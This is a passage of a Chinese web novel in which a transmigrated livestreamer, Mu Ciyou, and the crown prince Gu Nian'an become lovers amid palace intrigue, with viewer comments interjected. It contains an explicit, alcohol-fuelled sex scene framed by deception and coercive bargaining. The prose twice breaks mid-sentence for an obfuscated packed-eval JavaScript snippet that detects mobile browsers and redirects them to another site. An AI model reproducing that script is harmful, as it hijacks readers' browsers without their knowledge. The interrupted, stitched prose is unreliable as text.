穆辞忧:“我父母双亡,身无分文,大学快要毕业,还没找到工作。我回去也无法还给你150万,你看着办。” 系统【emmm……这个…那个…你控制尺度,我会在适当的时候,切换视角处理。】 穆辞忧:我明白。 洁体肤,正衣衫,从屏风后转出一位美男子。 一头未曾束起的墨发,沉沉地贴着颈侧,素色的中衣印出水痕。散落额前的一绺湿发,挡住眉眼,发梢犹自滴着水,正落在锁骨凹陷处。 穆辞忧随意抬手掠发,宽松的衣袖顺着手臂滑落,露出雪白的腕骨,线条清劲。 顾念安的目光落在那截小臂上,看得出神。 弹幕【主播露个胳膊都能把顾念安的魂勾走了?】 “殿下,臣洗好了。” 顾念安一下子缓过劲来,赶紧拿毛巾帮穆辞忧擦头发。 “孤说头部不可沾水,你就是不听话。”说者半嗔半忧。 穆辞忧道:“殿下,臣头部伤口已愈合,不碍事。” 头发在顾念安的手里揉搓。 “穆哥哥的乌发半干了,先吃饭吧,天牢里的饭菜肯定不合你胃口,孤准备了穆哥哥爱吃的酒菜。” 顾念安酒力极佳,而穆辞忧没喝几杯就醉了。 穆辞忧眼尾酡红,眼神飘忽,学着芳菲院的惊鸿,执起酒杯,抵着顾念安下唇。 “殿下,臣在东宫一年多来,给您添乱,请殿下海涵。” 杯沿微倾,酒水啜饮入顾念安口中。 顾念安红唇上沾着酒,嘴角挂着笑。 “穆哥哥,吃饱了吗?” 弹幕【饱暖思淫欲。】 【穆辞忧你应该嘴对嘴喂酒!】 酒的劲儿太大,穆辞忧喘着粗气,拽住顾念安的衣襟,摇晃着走向床榻。 到了床边,指尖勾上顾念安腰上玉带,正要解开,手却被拦住。 顾念安颔首,红着脸道:“穆哥哥醉了,早点歇息吧。” 说话的语气,像个新婚娇妻一样的温柔腼腆。 穆辞忧仿佛没听见,手上加力,狠劲一抓玉带。 “嘶~”玉带被生生拽断了。 玉带掉落的一瞬,衣襟敞开,吓得顾念安浑身一哆嗦,犹如一只受惊的小狗子。 “歇息,咱俩一起睡。” 说着,猛地一推,顾念安陷入了温床软被之中,墨发散落在红色的织丝上。 穆辞忧现在明白了老铁们说的“睡在一起”,原来是这个意思。 弹幕【又要睡了?】 【主播开窍挺快啊!】 【等等,我去拿纸。】 “穆哥哥?” 小狗子好像不知道接下来要面对什么,惶恐地睁大眼睛,反而激起了穆辞忧的掠食欲。 穆辞忧两下拽掉顾念安的衣衫,陡然话音一沉:“殿下也和他们一样,明明知道男子之间如何办事,还瞒着臣。” 他醉酒后,失口说出了那群昧心的老铁们。 “他们?谁?”顾念安不作任何挣扎,只是略有疑惑,问道:“是江叶光吗?” 穆辞忧俯身压下去,黏在顾念安的肌肤上,嘴唇擦着顾念安砰砰跳动的心口,软酥酥般呢喃: “江叶光说,臣是靠卖,靠卖、”那个字,穆辞忧实在说不出口,于是换了个说法:“说臣是靠侍寝升官上位,说殿下是兔儿爹……” 顾念安紧忙打断:“你别听江叶光瞎说,男子之间,长枕大被而眠很正常,那日是解毒迫不得已。” 弹幕【江叶光的话糙理不糙】 【主播,我借你一双慧眼,看清顾念安】 【顾念安在骗你!】 【顾念安在骗你!】…… 穆辞忧暗道:“顾念安这个小骗子,我要报复他,以其人之道还之其人之身。” “哈哈哈。”几声闷笑从顾念安的胸口处传来,“臣又中毒了,要亲热解毒。” 穆辞忧向上蹭了几寸,把脸埋进顾念安的颈弯。 夏季本就酷热,两团同样激昂的火焰撞击上,迸射出熏天的势焰。 “穆哥哥!” 顾念安整个人僵硬不动,嗓音干涩。 穆辞忧痴痴望着顾念安滚动的喉结,情不自禁咬了上去。 一只狼捕食猎物,会从脖颈开始啃咬,癫狂般游走于皮肉筋骨之间。 啃到唇部,穆辞忧舌尖钻进顾念安嘴里,来回抽动,好一会儿才分开。 弹幕【小朋友捂眼睛,这种接吻太亲呢啦。】 【馋死大黄丫了!怎么还不开始?】 顾念安咽下口中津液,换成天真无邪的语气,张开湿漉漉的檀口:“穆哥哥~不要~” 穆辞忧俯视着狼爪下这个温热颤抖的猎物。 若不是瞥见门窗尽数紧闭,四下宫人影踪全无。 若不是眼前这床榻上明目张胆的铺着朱红锦被,锦被上面绣满龙凤呈祥的图案。 穆辞忧差点就相信这只小奶狗了! 到底有多少心思算计藏在这只小奶狗的身体里。 穆辞忧也学着顾念安撒娇的语气,羞赧央求:“殿下,臣也想骑马。” 弹幕【穆辞忧难道要反攻?】 【一对0.5?】 顾念安精神倏地一振,双手攥拳,“嗯?嗯……孤……”支支吾吾,犹犹豫豫,内心交战了几个回合。 “殿下,好殿下~”穆辞忧浑厚的气息喷在顾念安耳垂,引出一阵细痒。 双拳缓缓松开。 “孤收了穆哥哥的生辰礼,但是穆哥哥在二十三岁生辰那日撞头,孤没有给穆哥哥好好庆生。今日权当礼尚往来。” 受到允许后,穆辞忧一把退掉自己的衣服,心跳如鼓,凑上去:“殿下,您生辰那夜也是臣的初次,对吗?” 顾念安不忍再欺瞒,合上眼皮,悠悠道:“嗯,是孤诓骗你,男子用后面也属失贞。孤拿了穆哥哥的嫁妆。” 穆辞忧直溜溜跨上顾念安的腹肌。 “殿下,用前面和用后面没区别是吧?” 顾念安干咽了一下:“是。” 弹幕【他要干嘛?】 【人之将死其行也善。】 【小骑手已上线。】 穆辞忧无师自通般往后方一坐。 顾念安心头一颤! 本能地反应过来! “穆哥哥!没用那个!” “臣,已经涂过了。” 系统里的【行囊】物品,穆辞忧可以任意使用。 “殿下,臣的骑术,冠绝昭国。” 今日就教这小龙崽子见识见识北境穆郎的“马上英姿”。 穆辞忧跨鞍上马,腰背挺直如松,双腿夹紧似铁,单骑穿梭,飒踏如流星。 穆辞忧曾经说过要给顾念安伺候得舒舒服服,而如今这般田地,却要食言了。 穿书后,他所有物品皆由皇帝和太子赏赐,只有这副身体是他自己的。依据顾念安初次的反应来看,顾念安对这副身体相当满意,便用这副身子当做报答吧。 在这最后的光景里,直男穆辞忧唯愿“好兄弟”顾念安能展颜一笑。 但闻,马蹄哒哒,马鸣萧萧。 天窗透进细风,撩拨上纱幔的尾端。 从纱幔摇曳的间隙中,漏出两个男子缠绵床褥。 一对小梨涡固定在顾念安脸上,他眯起眼睛,享受着臣子的灭顶服侍。 穆辞忧双眼翻白,嘴角垂涎,血脉喷张,一副被欲望彻底征服的痴样。 一个放浪形骸,一个意犹未尽。 这韶华一梦好像永远都醒不来…… 老铁们诚不欺穆辞忧,顾念安三天三夜都没问题。从第二轮开始,完全由顾念安掌控,穆辞忧昏了又醒,醒了又昏,循环往复,不知几个来回。 窗外莺啼声声。 惊梦回,药酒醒,满床相思泪。 穆辞忧觉浑身如灌了铅一般, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793638|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸痛难当。 他断开连接,趴到床边,伸臂从地上随便够了一件衣衫,缓缓坐起,披在身上。 这一动,顾念安怎能不睁眼。 “穆哥哥昨日辛苦,再多睡会儿。” “不了,我怕耽误问斩的时间。” 你的穆哥哥事了拂衣去,深藏功与名。 蓦地,顾念安也坐起来,眉头紧皱,嘴角却向上牵动,张开嘴,舌尖转了三圈,化作一声叹息,一脸又哭又笑的滑稽模样。 终了指尖在穆辞忧的额头一戳:“谁说今日要斩你?” 穆辞忧恍然道:“难道昨天喝的酒是鸩毒,怪不得味道不同。” 顾念安道:“昨天的酒,孤也喝了。因穆哥哥身上有伤,孤准备的是药酒。” 穆辞忧凛然问道:“那什么时候取我的头?” 顾念安猝然一翻身,仓促间,掐住穆辞忧的脖子,注视着穆辞忧: “瞧着你视死若归的样子,孤想立刻取了你的头颅。难道你对孤就没有一点儿留恋吗?” 顾念安的目光有一种缓慢渗透的寒意,顺着毛孔,钻进穆辞忧的骨头缝。 大夏天的,一身热汗的穆辞忧不禁打了个寒颤。他举起手掌,挡在自己与顾念安眼睛之间。 留恋?无非是蜂缠蝶恋一场空。 “感谢殿下的临终关怀,臣毫无留恋,请殿下也不要挂念臣。” 快结束这场荒唐的闹剧吧! 这次穿书就是个错误,险些毁了一代明君。 穆辞忧心中骂道:“死晚风,瞎看什么怪书,你自己看就行了,还推荐我看。” 顾念安强行往穆辞忧的唇上啄了两下,松手,撩幔,下床,穿衣,蹬鞋,留下一句话。 “你的头颅属于孤,孤让头长在你的脖子上,谁都取不走。” 他的眼神凛冽晦暗,如幽冥地府钻出来的勾魂恶鬼,慑人心魄。 弹幕【丫的,昨天看了一宿床幔。】 【隐隐约约能看到一点身影。】 【起码能听到声音吧,总比直播间被封了强】 【听起来,他好像淫、魔附体。】 【嘿嘿,听得我满床打滚。】 【这么诱人的穆少保,顾念安怎么舍得穆辞忧死啊!】 丫的!杀了江叶光都死不了!这作死之路布满荆棘啊! 穆辞忧醒悟过来:顾念安为何在做之前不说呢?从天牢出来,沐浴,吃饭,顾念安有很多机会告诉穆辞忧真相,他就是故意的!特么的!又被这小龙崽子白捡了! 自从那日后,顾念安禁止穆辞忧出东宫,没有脚链枷锁,没有侍卫阻拦。 顾念安仅留下一句话,就让穆辞忧老老实实待在东宫,不敢踏出半步。 “你若离开东宫,孤便自杀。” 穆辞忧求着顾念安放他出去耍一耍,他肯定不闯祸。 顾念安冷冷道:“用身体换。” 弹幕【顾念安装都不装了!】 【他演都不演了!】 【穆辞忧你就从了他吧!】 穆辞忧看了眼右上角的【积分125万】,不但还清负债,还多挣了250万货币。那一次够本了,无需再铤而走险。 面对没有利用价值的顾念安,穆辞忧捂着腰带,犟道:“我男子汉大丈夫,怎能让你这阴险小人得逞?” 即便不开荤,这两人依旧天天抱在一起睡。 因顾念安言:“穆少保不贴身保护孤,孤半夜遇到刺客怎么办?” 言之有理,顾念安不能死翘翘,穆辞忧必须贴身保护。 穆辞忧想到可以分两床被褥,分开楚河汉界。然而他翻遍了整个东宫,也找不到第二套被褥,气得他跺着脚问顾念安:“你小子把被褥都藏哪了?” 尝过了两次云雨,穆辞忧领悟出以前身体上的红痕不是顾念安打的,而是顾念安亲的。 这小龙崽子太可怕了,他白天明媚纯真,夜晚阴暗猥琐。 顾念安早晨越起越晚,有时干脆搂着穆辞忧一起赖床,不去上早朝。 近些日子,周墨煜和徐海兴未到东宫辅佐太子。穆辞忧心想下次遇见他们定要提点他们一下,别花天酒地满处玩,多多关心协助储君。 皇帝这几日也未到东宫,穆辞忧本想当面感谢皇帝的不杀之恩,虽然事与愿违…… 长喜伤势痊愈,回到东宫。 回来时,穆辞忧正在小厨房,一边做菜,一边与直播间的粉丝们对话。 “老铁们,今天我们做酱牛肉,酱油锅里倒~咸死顾念安!” 长喜见到穆辞忧自言自语,以为他疯了,赶紧跑过去,摸上穆辞忧的额头。 没发烧。 “穆少保,你别太自责了。殿下是自愿放弃储君。他封个王也好,衣食无忧,子嗣无需。” 15. 乔迁 从东宫的种种异常迹象,穆辞忧大致猜了个八九不离十。 江炎霆唯一的儿子江叶光被穆辞忧杀死了,他们江家怎么会善罢甘休。顾念安必定是用储君之位作为交换,方能把穆辞忧从天牢里放出了。 只是这个消息在没人说破前,穆辞忧不敢承认,自欺欺人罢了。 不过是一场荒唐的艳梦,这顾念安怎么还当真了?! 穆辞忧想从长喜口中打听点情况:“公公,殿下将我锁在东宫,您可知现在外面局势如何?” 长喜打量着穆辞忧,没找到一根锁链,疑惑思量:“以穆辞忧的身手,用树枝都能把莽汉捅死,谁能关得住?这人就是赖上殿下不想走。” “咱家哪知道局势啊,偶尔听别人嘴里念叨了几句,说殿下痴情,为了一个男人,连天下都不要了。”长喜刻意这么说,激发穆辞忧的内疚,“穆少保,陛下派您保护太子身体,您怎么还惦记上太子的身子了?” 穆辞忧盖上锅盖,坐到灶门旁边,一边拿蒲扇扇火,一边腆着脸辩解:“公公,那都是别人的谣传,您天天在东宫,啥时候见我和太子做过越礼行为。” 诚然没有,他们一共发生过两次越礼行为,一次长喜受伤晕倒,一次长喜没在东宫。 弹幕【是你家太子惦记上穆少保的身子了。】 【对,你们每次都背着长喜做。】 【长喜连点肉汤都喝不到。】 长喜思考片刻:“咱家也觉得奇怪,您日日欺压太子,刁难太子,老奴我是看在眼里,疼在心里。但是,你们共睡一床,举止亲密,难免被人说三道四。”轻叹一声又言:“加之这次,您一出事,殿下便放弃储君地位,这两边一联系,更容易引起他人猜疑。” 穆辞忧想要撇清与顾念安的纠葛,一激动,掰断手中蒲扇杆,痛声大吼:“我出事,明明是他江叶光先挑衅我,拔剑刺我,他个草包,又技不如人,我失手误杀了他。这两人冲突打架,不能因我武艺略胜一筹,而判定我有罪啊,应按事件的起因断定吧。因臣本就无罪啊!” 一个天天把“臣有罪”挂在嘴边的男人,一改口风,为自己做无罪辩解,谁听了都会动容三分。 长喜道:“穆少保言之有理,怪不得陛下封锁了您杀人的消息,对外声称,江郎将在巡逻时,爬上树观察,意外撞树枝了!” 穆辞忧对着房顶拱手作揖:“陛下圣明啊!” 弹幕【撞树枝?还有更离谱的意外吗?】 【谁能信啊?】 【有目击者,大家知道真相,皇帝压下了。】 【其实真不好评定穆辞忧的罪责,起码罪不至死,他这叫正当防卫,肩膀上的伤痕就是证据。】 穆辞忧又道:“公公可否替我去和陛下那边通报一声,说臣想当面感谢陛下。” “这……”长喜面露犹豫,似乎有点为难。 “公公,您也不想让殿下蒙受不白之冤吧。” 穆辞忧这么一说,长喜懂了,这少保要向皇帝解释事件,证明清白。 “咱家尽量试试吧。” …… 一盘酱牛肉端到顾念安面前,“殿下尝尝,我新研制的独家秘制限定款酱牛肉。” 顾念安夹了一片牛肉:“稍咸。”又夹了一片:“不过孤近期口中无味,正好想吃点咸食。” 穆辞忧又倒了一杯果酒给顾念安:“殿下品品,我新酿的独家秘制限定款果酒。” 顾念安小酌一口:“稍甜。”又喝了一口:“正是孤喜好的甜度。” 弹幕【你做什么他都爱吃】 【爱屋及乌啊】 【主播放个屁,顾念安闻到都是香的】 穆辞忧恨不得撕烂老铁们的嘴。 “殿下,长喜回来了。”穆辞忧坐到顾念安身边。 顾念安望着手中酒杯,淡淡道:“孤知道,长喜与你说了吧?孤即将离开东宫。” 穆辞忧于心有愧,直截了当说出:“殿下,臣辜负了殿下的厚爱,臣不喜欢男人!” 他要死,要回现实世界,要娶妻生子。长痛不如短痛,他们之间不能一错再错。 顾念安饮了一口酒,“你别妄自尊大。孤自请下位,与你杀人一事无关。即便孤不保你,父皇看在穆将军的份上,也不会动你分毫。是孤自觉无法继承大统,孤德不配位。” “你们三位里,没有人比殿下更配!”穆辞忧一拍八仙桌,眼神似要冒火。 弹幕【顾念安就是因你才不当太子了。】 【他想和你双宿双飞。】 【怪你过分美丽】 【你个蓝颜祸水。】 【你自己的老公,怎么看怎么好,这叫任人唯亲】 【你个败家媳妇!】 【你个败家媳妇!】 …… 穆辞忧想摔碎了老铁们的键盘,但他又拿不到键盘,只好生闷气。 三位皇子中最优秀的确实是顾念安。二皇子毫无根基与才能,一直是背景板般存在。而大皇子母族势力过于强大,容易外戚专权。 顾念安所有的荣耀都来源于一个死了的皇后,所有势力都来源于皇帝的安排,包括穆辞忧也由皇帝亲自挑选任命。 穆辞忧脑子里生出一条线,这条线连上了皇后。 皇后被害死,皇帝真的无力保护吗?真不知道是谁干的吗?会不会是皇帝故意放任凶手?皇帝是不是只想要一位普通女子,替他生孩子。 穆辞忧不敢顺着这条线继续想下去,那个一直以来,对他包容和蔼的皇帝,不会是那种人吧。 顾念安嚼着牛肉,说道:“父皇压下了你杀人的事,过几日,你照样担任御林军副统领。” 穆辞忧问:“那殿下呢?” 顾念安道:“待你搬离东宫后,孤正式搬离东宫,住入王府。” 穆辞忧探问:“那储君之位?” 牛肉太咸了,顾念安喝了一口果酒,硬吞下去。 “储君之位,暂时空虚。这几日,你就老实在东宫带着,勿再生事端,孤自有良图。” “诺!” 穆辞忧嘴上答应了,心里却琢磨着怎么把顾念安掰直,把小说男主重塑成千古一帝。 他推敲从五月初一开始发生的几件事。 生辰那日的春毒事件,至少牵扯到宁妃、江叶光等几十号人。皇帝只抓了一个内务府总管进天牢,杀鸡儆猴,做做样子而已。 穆辞忧曾问过顾念安,为什么其他人皆未受处罚。顾念安回答的是没有确凿的证据。 在天牢里,从未有人探望过内务府总管,他像一颗弃子,被人遗忘在角落。 江家这座大山,看似很难撼动。 实则不然……突破口就在内务府总管,他就是人证。 他要想办法让内务府总管开口,指出幕后之人。 等正式上任御林军副统领后,掌管天牢,这事儿就好办了。 长喜帮忙,托太监总管带话,联系上了皇帝。 穆辞忧见到皇帝即刻跪下,“谢陛下不杀之恩。” 皇帝道:“平身,朕已查明,是江叶光先出手,已给江家安抚与补偿,此事到此为止。” 补偿就是给江叶光那不争气的儿子封了一个小爵位。 穆辞忧不敢站起,又道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793639|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下英明,臣为陛下赴汤蹈火,在所不辞。” 皇帝敛眸道:“过几日,你就要搬离东宫了,您趁早给新府邸置办点什么物件。其他事,勿放在心上。” 穆辞忧心说:“我杀了江叶光,皇帝从头到尾,没有质问,也没有责怪,能安然无恙的在东宫享福,连副统领的职位都没卸掉。这便说明,我杀对人了!” 想起江叶光还有句遗言:“老子可不怕顾念安那小子,就算查出是我绑了东宫宫人又怎样,我是国舅,我是江炎霆之子,皇帝也不敢杀我!” 这也是促使穆辞忧杀死江叶光的主因,既然皇帝不会杀江叶光,穆辞忧就亲自动手。 故而,他不是顾念安的快刀,而是皇帝的快刀,替皇帝铲除了心腹——大患! 但倘若江家外戚势力削弱,对顾念安并不是好事。如果大皇子没有受到外戚牵连,皇帝会不会考虑大皇子继承皇位? 思及此处,穆辞忧进退两难,不知该怎么平衡各方势力,既能让江家拉扯顾凯旋,又能让皇帝放弃顾凯旋。 “穆哥哥想什么呢?”顾念安问道。 穆辞忧脑袋嗡嗡的,皱着眉头,随口一答:“臣在想要拿什么东西到新府邸。” …… 炎炎烈日把琉璃瓦照得炫目,与朱色宫墙上漫生的碧绿藤蔓相映,五彩斑斓。 穆辞忧在这日搬家,顾念安流着汗帮穆辞忧整理行李。 长喜想要搭把手,却被顾念安拒绝:“长喜你去问问穆统领还要搬走什么物件?孤都给他。” 穆辞忧在小厨房正收拾着锅碗瓢盆,见长喜过来,笑道:“这一年多,劳烦公公照料。等我搬到新家,定要亲自下厨,宴请公公。” “别介,别介,用不着,穆统领的好意,咱家心领了,殿下让我问您还要带走什么物件?”长喜可不想再吃穆辞忧做的饭菜,有一次他尝了一口,差点晕过去。万幸是殿下吃了一年竟然没死。 穆辞忧思索一瞬。 “不劳公公传话,我去和殿下要。” 他想起来那两套沾满污迹的被褥,不知被顾念安藏在何处。这可不能跟长喜说。 搬家后的第二日。 顾念安登门拜访,手里拿了一个包袱。 穆辞忧展开一看,问道:“还有一套呢?” “孤…”顾念安马上改口:“本王当日只答应给你这一套。” 弹幕【第二次那套,顾念安留下自己用了】 【他不闻着你的味道,睡不着。】 穆辞忧一听“本王”,心中酸楚难耐,没在意弹幕,抱起包袱往寝房里走。 他心里有根刺,只有让顾念安登基,这根刺才能拔出来。 在寝房缓了片刻后,才出来招待顾念安:“殿……”穆辞忧意识到自己叫称呼了。 顾念安笑道:“叫殿下也没错,本王现在是三殿下,安王。” “不知殿下……不知王爷的王府在何处,臣理应登门拜访,恭贺新迁。” 穆辞忧又叫错了,毕竟叫了一年多的殿下,他早已习惯。 “穆统领还是叫殿下吧,本王听着舒服。”顾念安随即抬手一指着院墙,“不必登门,以穆统领的功夫,翻墙就到。” 入夜,穆辞忧把寝房的门窗锁了三道。 穆辞忧能翻墙而去,顾念安就能翻墙而来。这小龙崽子,不得不防。 他本以为把自己保护严实了,就能安心入寝,但躺在床上后,跟烙饼似的,翻来覆去睡不着。 无奈之下,找出白天顾念安带来的包袱,拿出那套沾满污渍的旧被褥,铺在床上,还真真是闻着顾念安的味道入眠。